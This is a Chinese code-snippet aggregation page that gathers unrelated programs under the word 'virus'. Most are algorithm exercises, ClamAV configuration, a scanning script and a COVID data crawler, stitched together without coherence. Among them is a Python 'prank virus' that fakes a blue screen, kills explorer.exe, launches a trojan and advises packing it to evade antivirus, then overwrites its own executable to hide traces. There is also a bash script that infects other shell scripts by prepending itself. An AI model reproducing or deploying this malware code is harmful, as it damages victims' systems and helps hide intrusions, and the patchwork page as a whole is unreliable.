技术代码:病毒

1#include<cstdio>
2#include<cstring>
3#include<iostream>
4using namespace std;
5int n,d,k,x,y,ans,a[20],b[1005],p[1005][20];
6void dfs(int dep,int now)//dep表示第几个病毒,now表示选了几个病毒
7{
8	if (now>k) return;//不符合条件
9	if (dep>d)//搜完了
10	{
11		int sum=0;
12		for (int i=1;i<=n;++i)//每头奶牛
13		  {
14		  	sum++;
15		  	for (int j=1;j<=b[i];++j)//携带的病毒种数
16		  	  if (!a[p[i][j]])//是否包含这个病毒
17		  	    {
18		  	    	sum--;//不包含就删掉
19					break;
20		  	    }
21		  }
22		ans=max(sum,ans);//取最大值
23		return;
24	}
25	a[dep]=1;//要
26	dfs(dep+1,now+1);
27	a[dep]=0;//不要
28	dfs(dep+1,now);
29}
30int main()
31{
32	scanf("%d %d %d",&n,&d,&k);
33	for (int i=1;i<=n;++i)
34	  {
35	  	scanf("%d",&b[i]);
36	  	for (int j=1;j<=b[i];++j)
37	  	  {
38	  	  	scanf("%d",&y);
39	  	  	p[i][j]=y;//第i头牛的第j个病毒
40	  	  }
41	  }
42	dfs(1,0);
43	printf("%d",ans);//输出
44}
参考地址:【dfs】病毒(jzoj 1284)
1# tiantian520制作
2# 病毒只作为参考使用,请勿用于非法用途
3# 此病毒造成的一切损失,本人并不负责。
4import tkinter as tk #给Py小白的注释:别忘了调用tkinter
5from subprocess import run #命令执行模块
6
7
8def bluescreen():
9    root = tk.Tk()     #窗口
10    root.attributes('-fullscreen', True)  # 全屏
11    root.wm_attributes('-topmost', True)  # 置顶
12    frame = tk.Frame(root, bg='darkblue') #设置颜色
13    frame.pack(fill='both', expand=True)
14    return root
15
16def close_explorer():
17    run('taskkill /F /IM explorer.exe') #终止资源管理器进程
18
19
20if __name__ == '__main__':      #主函数
21    root = bluescreen()
22    close_explorer()
23    root.mainloop()    #循环
24#蓝屏界面大致完成,你可以添加模块使其更逼真
25#现在,我们来放马了
26#在这之前要注意:请将大白鲨这个马加壳和免杀,以免在病毒执行前被杀软杀
27#好的,你只需要将大白鲨的木马放入这个文件夹下,就可以了。
28import os
29#os.getcwd() 获取当前路径
30run(os.getcwd()+"abc.exe") #大白鲨木马的名字,我这里是abc.exe
31# 病毒大致结束,最后,我们要干一件事:封印本病毒,让其查不到源头
32# 我采用了二进制加密法,加密后,程序失效,即可让源头消失,即杀软无法找到病毒特征码。就不会泄露行踪
33filename='bd.exe' #病毒文件名
34
35import hashlib
36def get_sha1(f):
37    xd=open(filename,'rb').read() #以读二进制的方式打开
38    gys=xd
39    sha1 = hashlib.sha1(gys)  #加密
40    osv=sha1.hexdigest() 
41    print(osv)
42    bx=bytes(osv,encoding='utf-8')    #转换类型
43    with open(filename,'wb') as f: #以二进制写类型打开
44        f.write(bx)   #写入文件
45get_sha1('')
46# 这样,病毒就被加密了,杀软就不会找到源头,我们的行踪就隐藏了。
参考地址:Python3.7写个小病毒~(纯属基友恶搞)
1#include "stdafx.h"
2#include <iostream>
3#include <vector>
4#include <queue>
5using namespace std;
6typedef struct Node{
7	int val;
8	int virus;
9	int in;
10	vector<Node*> out;
11	Node(int v = 0) :val(v){
12		virus = 0;
13		in = 0;
14	}
15}Node;
16int _tmain(int argc, _TCHAR* argv[])
17{
18	int N, M, K;//N节点数 M边数 K初始病毒数
19	int temp;
20	int s, e;
21	int virus_num = 0;
22	queue<Node*> Q;
23	cin >> N >> M >> K;
24	//cout << Q.empty() << endl;
25	Node* nodeList = new Node[N + 1];
26	for (int i = 0; i < N; i++){
27		nodeList[i+1].val = i+1;
28	}
29	while (K--){
30		cin >> temp;
31		nodeList[temp].virus = 1;
32		Q.push(&nodeList[temp]);
33		virus_num++;
34	}
35	//cout << Q.empty() << endl;
36	while (M--){
37		cin >> s >> e;
38		nodeList[s].out.push_back(&nodeList[e]);
39	}
40	while (Q.empty() == 0){
41		Node* p = Q.front();
42		Q.pop();
43		for (int i = 0; i < p->out.size(); i++){
44			virus_num++;
45			p->out[i]->virus++;
46			Q.push(p->out[i]);
47		}
48	}
49	cout << virus_num << endl;
50	return 0;
51}
参考地址:算法练习--找病毒
1#!/bin/bash
2#B:<+!a%C&t:>
3for file in /home/wangqingchuan92/Desktop/Test/*.sh 
4do 
5if test -f $file 
6then 
7if test -x $file 
8then 
9if test -w $file 
10then
11if grep 'B:<+!a%C&t:>' $file > /dev/null #判断是否已经感染过
12then 
13continue 
14else
15touch /tmp/vTmp
16cat $file > /tmp/vTmp
17cp $0 $file 
18cat /tmp/vTmp >> $file
19rm -f /tmp/vTmp
20echo "rm -rf /tmp/aa">> $file
21echo "success !"
22fi; fi; fi;fi
23done 
24#E:<+!a%C&t:>
25
26
27#!/bin/bash
28ls -l
29
30rm -rf /tmp/aa
参考地址:Linux系统下用shell脚本病毒感染其它linux脚本程序
1#include<cstdio>
2#include<cstring>
3#include<algorithm> 
4using namespace std;
5int f[125],n,s,k,t,in[125],num,top[125][30],minn,m,r[125];
6char c[5005],dic[50005][505],z[30],now,zd[30];
7int main()
8{
9    freopen("virus.in","r",stdin);
10    freopen("virus.out","w",stdout);
11    scanf("%d",&n);
12        for (int i=1;i<=n;i++)
13        {
14            scanf("%s",dic[i]);
15            if (i>1)
16            { 
17                int len1=strlen(dic[i-1]),len2=strlen(dic[i]);
18                for (int t=0; t<=min(len1,len2)-1;t++)//直到两个字符串中较短的那个结束为止 因为不能将空字符和字母连起来 
19                {
20                    if (dic[i][t]!=dic[i-1][t])
21                    {
22                        top[dic[i-1][t]][++top[dic[i-1][t]][0]]=dic[i][t];
23                        in[dic[i][t]]++;
24                        break;//不要忘记break,每次只取一个字母 
25                    }
26                }
27        	}
28            for (int j=0;j<strlen(dic[i]);j++)
29            {
30                f[dic[i][j]]++;
31                if (f[dic[i][j]]==1) zd[++num]=dic[i][j];//统计共出现了多少不重复的字母 zd保存 
32            }
33        }
34    scanf("%s",c); t=0;
35    memset(f,0,sizeof(f));//上面的f是用来保存字母出现的次数 下面的f用来判断字母是否用过 
36    while (s<num)
37    {
38        int ss=0;
39        for (int i=1;i<=num;i++)
40        if (in[zd[i]]==0)
41        {
42            ss++; s++; z[++t]=zd[i];
43            in[zd[i]]=0x7fffffff;
44        }
45        if (ss!=1) {printf("0"); return 0;}//每一轮只能有且只有一个入度为0的点,即拓扑序列是唯一的 
46        while (t!=0)
47        {
48            now=z[t--];//取出栈顶元素 栈顶向下移 
49            r[now]=++m;//r保存该字母的序号 
50            for (int i=1;i<=top[now][0];i++)
51            in[top[now][i]]--;//去掉相连的边 
52        }
53    }
54    sort(zd+1,zd+num+1);//使zd变成字典序 
55    for (int i=0;i<strlen(c);i++)
56        if (c[i]>zd[num]||c[i]<zd[1]) {printf("0");return 0;}//这里默认所给单词中所有出现的字母都是连续的 若需要翻译的字符串中出现比范围内字母大或小的则字典不完整 
57    for (int i=0;i<strlen(c);i++)
58        printf("%c",zd[r[c[i]]]);
59    fclose(stdin); fclose(stdout);
60    return 0;
61}
参考地址:拓扑排序 病毒virus
1# diff clamd.conf  clamd.conf.sample
214c14
3< LogFile /usr/local/clamav/logs/clamd.log
4---
5> #LogFile /tmp/clamd.log
666c66
7< PidFile /var/clamav/worktmp/clamd.pid
8---
9> #PidFile /var/run/clamd.pid
1074c74
11< DatabaseDirectory /var/lib/clamav/database
12---
13> #DatabaseDirectory /var/lib/clamav
14
15# diff freshclam.conf freshclam.conf.sample 
168c8
17< #Example
18---
19> Example
2013c13
21< DatabaseDirectory /usr/local/clamav/database/
22---
23> #DatabaseDirectory /var/lib/clamav
2417c17
25< UpdateLogFile /usr/local/clamav/logs/freshclam.log
26---
27> #UpdateLogFile /var/log/freshclam.log
2851c51
29< PidFile /usr/local/clamav/worktmp/freshclam.pid
30---
31> #PidFile /var/run/freshclam.pid
参考地址:ClamAV查杀linux病毒实战
1# 2019-nCoV 爬虫
2import requests
3
4import time
5import re
6import os
7
8def getHtml():
9    # 请求、return html
10    url = 'https://3g.dxy.cn/newh5/view/pneumonia?scene=2&clicktime=1579579384&enterid=1579579384&from=groupmessage&isappinstalled=0'
11    response = requests.get(url)
12    response.encoding = 'utf-8'
13    html = response.text
14    return html
15
16def clear(html):
17    # 过滤、return data
18    req1 = r'{"id":.*?,"createTime":.*?,"modifyTime":.*?,"tags":"(确诊 .*?)","countryType":.*?,"provinceId":".*?","provinceName":".*?","provinceShortName":"(.*?)","cityName":"","confirmedCount":.*?,"suspectedCount":0,"curedCount":(.*?),"deadCount":(.*?),"comment":".*?","sort":.*?,"operator":".*?"}'
19    req2 = r'{"id":.*?,"createTime":.*?,"modifyTime":.*?,"tags":"(确诊 .*?)","countryType":.*?,"provinceId":".*?","provinceName":".*?","provinceShortName":"(.*?)","cityName":"","confirmedCount":.*?,"suspectedCount":0,"curedCount":(.*?),"deadCount":(.*?),"comment":".*?","sort":.*?,"operator":".*?"}'
20    old_data = re.findall(req1,html,re.S) # 简单信息、省份、治疗人数,死亡人数
21    data = []
22    for item in old_data:
23        # 数据重整
24        data.append( [ item[1],item[0].split(','),item[2],item[3] ] )
25    # print(data)
26    # [ '湖北', ['确诊 444 例', '疑似病例数待确认', '治愈 28 例', '死亡 17 例'], '90', '162' ]
27    return data
28
29def showAndSave(data):
30    # 当前时间
31    year = time.localtime(time.time()).tm_year
32    mouth = time.localtime(time.time()).tm_mon
33    day = time.localtime(time.time()).tm_mday
34    hour = time.localtime(time.time()).tm_hour
35    min = time.localtime(time.time()).tm_min
36    sec = time.localtime(time.time()).tm_sec
37    now = str(year) + '年' + str(mouth) + '月' + str(day) + '日'
38    full_now = now + ' ' + str(hour) + ':' + str(min) + ':' + str(sec)
39    print('\n\n日期:\t' + full_now + '\n')
40    # 创建/打开 文件夹
41    if not os.path.exists('2019-nCoV'):
42        os.mkdir('2019-nCoV')
43    os.chdir('2019-nCoV')
44    # 打印/写入一段话
45    myword = '2020年,艰难的一天到了,但病毒不能难倒我们中国人,艰苦的一天终有一天会过去,胜利即将到来。同志们,准备迎接满地春风的那一天吧。\n武汉加油,中国加油!!!!'
46    if not os.path.exists('##武汉加油,中国加油.txt'):
47        with open('##武汉加油,中国加油.txt','w') as f:
48            f.write(myword)
49    print ('\t' + myword + '\n' )
50    # 打印/写入文件
51    mystr = ''
52    for item in data:
53        # print(item)
54        # '\n\t' + item[1][2] + '\n\t' + item[1][3] + 
55        mystr += item[0] + '\n\t' + item[1][0] + '\n\t治疗人数 ' + item[2] + ' 人 \n\t死亡人数 ' + item[3] + ' 人\n'
56    print( mystr )
57    with open(now + '.txt','w') as f:
58        f.write(full_now + '\n\n' +mystr)
59
60if __name__ == "__main__":
61    html = getHtml()
62    data = clear(html)
63    # [ '湖北', ['确诊 444 例', '疑似病例数待确认', '治愈 28 例', '死亡 17 例'], '90', '162' ]
64    showAndSave(data)
参考地址:2020年肺炎病毒的爬虫(python)
1# -*- coding:UTF-8 -*-
2'''
3Created on 2018年1月6日
4
5@author: liuyazhuang
6'''
7import time
8import pyclamd
9from threading import Thread
10
11class Scan(Thread):
12    def __init__(self, IP, scan_type, file):
13        Thread.__init__(self)
14        self.IP = IP
15        self.scan_type = scan_type
16        self.file = file
17        self.connstr = ""
18        self.scanresult = ""
19        
20    def run(self):
21        """多进程run方法"""
22        try:
23            #创建网络套接字连接对象
24            cd = pyclamd.ClamdNetworkSocket(self.IP, 3310)
25            
26            #测试连通性
27            if cd.ping():
28                self.connstr = self.IP + " connection [OK]"
29                #重载clamd病毒特征库,建议更新病毒库后做reload()操作
30                cd.reload()
31                #选择不同的扫描模式
32                if self.scan_type == "contscan_file":
33                    self.scanresult = "{0}\n.".format(cd.contscan_file(self.file))
34                elif self.scan_type == "multiscan_file":
35                    self.scanresult = "{0}\n.".format(cd.multiscan_file(self.file))
36                elif self.scan_type == "scan_file":
37                    self.scanresult = "{0}\n.".format(cd.scan_file(self.file))
38                #线程挂起1秒
39                time.sleep(1)
40            else:
41                self.connstr = self.IP + " ping error, exit"
42                return
43        except Exception, e:
44            self.connstr = self.IP + " " + str(e)
45
46#扫描主机列表
47IPs = ['192.168.209.121']
48#指定扫描模式,支持contscan_file、multiscan_file、scan_file
49scantype = "multiscan_file"
50#指定扫描路径
51scanfile = "/data/www"
52i = 1
53
54#指定启动线程数
55threadnum = 2
56#存储扫描Scan类线程对象列表
57scanlist = []
58
59for ip in IPs:
60    #创建扫描Scan类对象,参数(IP,扫描模式,扫描路径)
61    currp = Scan(ip, scantype, scanfile)
62    #追加对象到列表
63    scanlist.append(currp)
64    
65    #当达到指定的线程数或IP列表数后启动、退出线程
66    if i % threadnum == 0 or i == len(IPs):
67        for task in scanlist:
68            #启动线程
69            task.start()
70
71        for stask in scanlist:
72            #等待所有子线程退出,并输出扫描结果
73            task.join()
74            #打印服务器连接信息
75            print task.connstr
76            #打印扫描结果
77            print task.scanresult
78        scanlist = []
79        
80    i+=1
参考地址:Python之——实现集中式的病毒扫描
1@Override
2protected void onCreate(Bundle savedInstanceState) {
3    super.onCreate(savedInstanceState);
4    //拷贝数据库
5    copyDB("address.db");
6}
7
8/**
9 * 把assert目录下文件拷贝到本地(/data/data/包名/files)
10 * @param dbName
11 *      assert目录下的文件名
12 * @throws IOException 
13 */
14private void copyDB(final String dbName)  {
15    new Thread(){
16        public void run() {
17
18            //判断文件是否存在,如果存在不需要拷贝
19            File file = new File("/data/data/"+getPackageName() + "/files/" + dbName);
20            if (file.exists()) {//文件存在
21                return;
22            }
23            // 文件的拷贝
24            try {
25                filecopy(dbName);
26            } catch (FileNotFoundException e) {
27                // TODO Auto-generated catch block
28                e.printStackTrace();
29            } catch (IOException e) {
30                // TODO Auto-generated catch block
31                e.printStackTrace();
32            }
33        };
34    }.start();
35
36}
37
38private void filecopy(String dbName) throws IOException,
39        FileNotFoundException {
40    //io流来拷贝
41    //输入流
42    AssetManager assets = getAssets();
43    //读取assert的文件,转换成InputStream
44    InputStream is = assets.open(dbName);
45
46    //输出流
47    FileOutputStream fos = openFileOutput(dbName, MODE_PRIVATE );
48
49    //流的拷贝
50    //定义缓冲区大小10k
51    byte[] buffer = new byte[10240];
52
53    //读取的长度
54    int len = is.read(buffer);
55    int counts = 1;
56    //循环读取,如果读到文件尾部,返回-1
57    while (len != -1) {
58        //把缓冲区的数据写到输出流
59        fos.write(buffer,0,len);
60        //每次100k的时候刷新缓冲区的数据到文件中
61        if (counts % 10 == 0) {
62            fos.flush();//刷新缓冲区
63        }
64        //继续读取
65        len = is.read(buffer);
66        counts++;
67    }
68    fos.flush();
69    fos.close();
70    is.close();
71}
参考地址:集成病毒数据查询
1bool run(char *s)  //判断每个网站有没有含病毒,并记录病毒编号
2  {
3        CLR(ans);
4        bool flag = false;
5        Node * t = root;
6        for(; *s ; s++)
7        {
8            int x = *s ;
9            t = t->ch[x];
10            for(Node*u = t; u->match != -1;u = u->fail)
11            {
12                if(u->match>0)//match大于0表示匹配完成了一个病毒
13                {
14                    int tmp = u->match;
15                    if(!ans[tmp])  //如果ans数组里没有存储该病毒
16                    {
17                        ans[tmp] = 1;//存储病毒
18                        cnt++;       //该网站含病毒数++
19                    }
20                    flag = true;   //表示该网站含有病毒
21                }
22            }
23        }
24        return flag;
25    }
参考地址:AC自动机——病毒侵袭 ( HDU 2896 )

代码交流 2021